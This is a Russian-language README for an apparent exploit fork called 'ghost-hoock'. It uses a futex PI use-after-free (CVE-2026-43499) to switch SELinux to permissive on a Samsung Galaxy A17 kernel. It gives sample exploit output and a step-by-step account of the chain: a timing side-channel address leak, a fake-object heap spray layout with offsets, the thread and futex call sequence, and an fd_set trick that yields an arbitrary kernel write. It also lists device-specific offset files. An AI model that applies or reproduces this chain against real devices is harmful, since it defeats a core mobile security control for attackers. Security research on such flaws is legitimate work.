
GhostLock сведён к одному примитиву: отключение SELinux на Galaxy A17 (BZA5) через futex PI UAF (CVE-2026-43499). Без root, без патча учётных данных, без rwforge.
Минимальный форк GhostLock, который сохраняет только один примитив: отключение SELinux через CVE-2026-43499 (futex PI UAF).
ghost-hoock running on Samsung A17
ghost-hoock — это урезанный форк эксплойта GhostLock от Mobile Hacking Lab, сведённый к единственному примитиву:
Одна ограниченная запись через futex PI UAF ->
selinux_enforcing = 0.
Никакого root, никакой перезаписи cred, никакого канала rwforge, никакого UMH, никакого configfs. Только минимум, необходимый для перевода SELinux в режим permissive на уязвимом ядре.
Пример вывода на Samsung Galaxy A17 (SM-A175F, BZA5):
[] kernel: 6.12.23-android16-5-abA175FXXS5BZD2-4k
[+] offsets matched: 6.12.23-android16-5-abA175FXXS5BZD2-4k
[] init_cred image=ffffffc082512b08 alias=ffffff8002512b08
[+] startup context pid=10331 uid=2000 euid=2000 gid=2000 egid=2000 attr=u:r:shell:s0 enforce=1
[+] startup limits pid=10331 NoNewPrivs=0 Seccomp=0 Seccomp_filters=0
[+] build config pid=10331 label=ghost-hoock
[] p0 kernel_phys_load=0000000040000000 delta=0000000000000000 core=0
[] target selinux_enforcing=ffffff800277e560
[] W1 attempt 1/20
[] === W1: SELinux === target=0xffffff800277e560 mode=1
[] prepare_kernel_page ok attempt=1
[] pselect route setup simple=0 shift=0 page=ffffff806c4f0000 fake_lock=ffffff806c4f0000 ...
[] pselect returned ret=6 errno=0 calls=1 success=1 delay=0
[] pselect route done calls=1 success=1 step=0 errno=0
[+] SELinux DISABLED (attempt 1)
Затем:
$ getenforce
Permissive
getenforce returns Permissive
Эксплойт нацелен на CVE-2026-43499 — use-after-free в цепочке rt_mutex PI (Priority Inheritance) подсистемы futex ядра Linux. Цепочка в ghost-hoock состоит из четырёх шагов:
Временной сайд-канал против хеш-таблицы futex ядра. Мы нагружаем FUTEX_WAKE_PRIVATE на наборе пользовательских futex, измеряем дельты rdtsc и коррелируем коллизии хеш-корзин. Это позволяет восстановить адрес нашего собственного mm_struct — базу страницы спрея, которая понадобится позже.
Это техника KernelSnitch, взятая дословно из оригинального эксплойта.
Мы выделяем большую slab-страницу order-3, а затем размещаем на ней макет фейковых объектов, используемый PI-маршрутом:
| Смещение | Объект | Назначение |
|---|---|---|
0x0E80 | fake_lock | Фейковый rt_mutex |
0x0F80 | fake_fops | Фейковая таблица file_operations |
0x1180 | fake_w0 | Фейковый rt_mutex_waiter, используемый как целевое дерево |
0x1240 | fake_right | Фейковый правый узел rb-дерева — именно отсюда берётся значение записи |
0x1260 | fake_left | Фейковый левый узел rb-дерева |
0x1280 | fake_task | Фейковый task_struct |
Вся страница отправляется через сокет AF_UNIX как SKB_SEND_SIZE = 2 * ORDER3_SIZE в sendmsg, так что данные skb попадают на нашу утёкшую страницу. Затем мы освобождаем её в контролируемом порядке, чтобы наша страница оказалась в per-cpu partial slab, который мы сможем вернуть.
Три потока:
FUTEX_WAIT_REQUEUE_PI на f_wait, нацеливаясь на f_pi_target.FUTEX_LOCK_PI на f_pi_target, а затем на f_pi_chain.sched_setattr(tid, SCHED_BATCH, nice=19) для TID waiter'а, что запускает rt_mutex_setprio() и заставляет ядро обойти фейковое PI-дерево.Четвёртый вызов из главного потока — FUTEX_CMP_REQUEUE_PI(1, f_pi_target) — запускает requeue. Внутри ядра rb_erase() выполняется по нашему фейковому дереву.
pselect() / select() копирует пользовательский fd_set в стек ядра и затем обходит его. Мы выстраиваем битмапы fd_set так, чтобы слова, которые ядро трактует как указатели rb-дерева, попадали на fake_right и его родителя — и результирующий rb_set_parent(child, parent) превращается в:
*(uint64_t *)target = value | color
Для mode = 1 (Write 1), target = selinux_enforcing и value = base + 0x100, что кодируется как byte0 = 0, byte1 = 1. Ядро записывает 0 в selinux_enforcing[0] — теперь SELinux в режиме permissive.
ret = 6 (вместо значения по умолчанию 9) подтверждает, что запись прошла: consumer попал в цель во время select(), разбудив его раньше времени.
Это форк mobilehackinglab/ghostlock-a17 (MIT). Следующее взято 1:1 из вышестоящего эксплойта:
| Компонент | Файл | Примечания |
|---|---|---|
| KernelSnitch | src/kernelsnitch/* | Утечка mm_struct через тайминги хеша futex |
| Спрей кучи | src/spray.c | Макет фейковых объектов, prepare_skb_payload, prepare_kernel_page |
| PI-маршрут + pselect | src/route.c | prepare_pselect_fdsets, do_pselect_fake_lock_route, consumer_thread, waiter_thread, owner_thread |
| Смещения BZA5 | include/offsets_bza5.h | Таблица символов, извлечённая из 6.12.23-android16-5-abA175FXXS5BZD2-4k |
| Целевой заголовок BZA5 | include/target.h | Раскладка адресов, смещения полезной нагрузки (только подмножество W1) |
| Смещения runtime-структур | include/runtime_struct_offsets.h | Макросы _RSO() для полей task_struct |
Вспомогательный код (макросы pr_*, SYSCHK, pin_to_core, set_limit, set_unbuffer) также сохранён как есть из оригинала.
Оригинальный GhostLock достигает полного root на A17: он устанавливает физический канал чтения/записи rwforge, патчит cred / real_cred, запускает UMH-хелпер с init-кредами, захватывает логи и многое другое. В ghost-hoock всё, что идёт после первой ограниченной записи, удалено.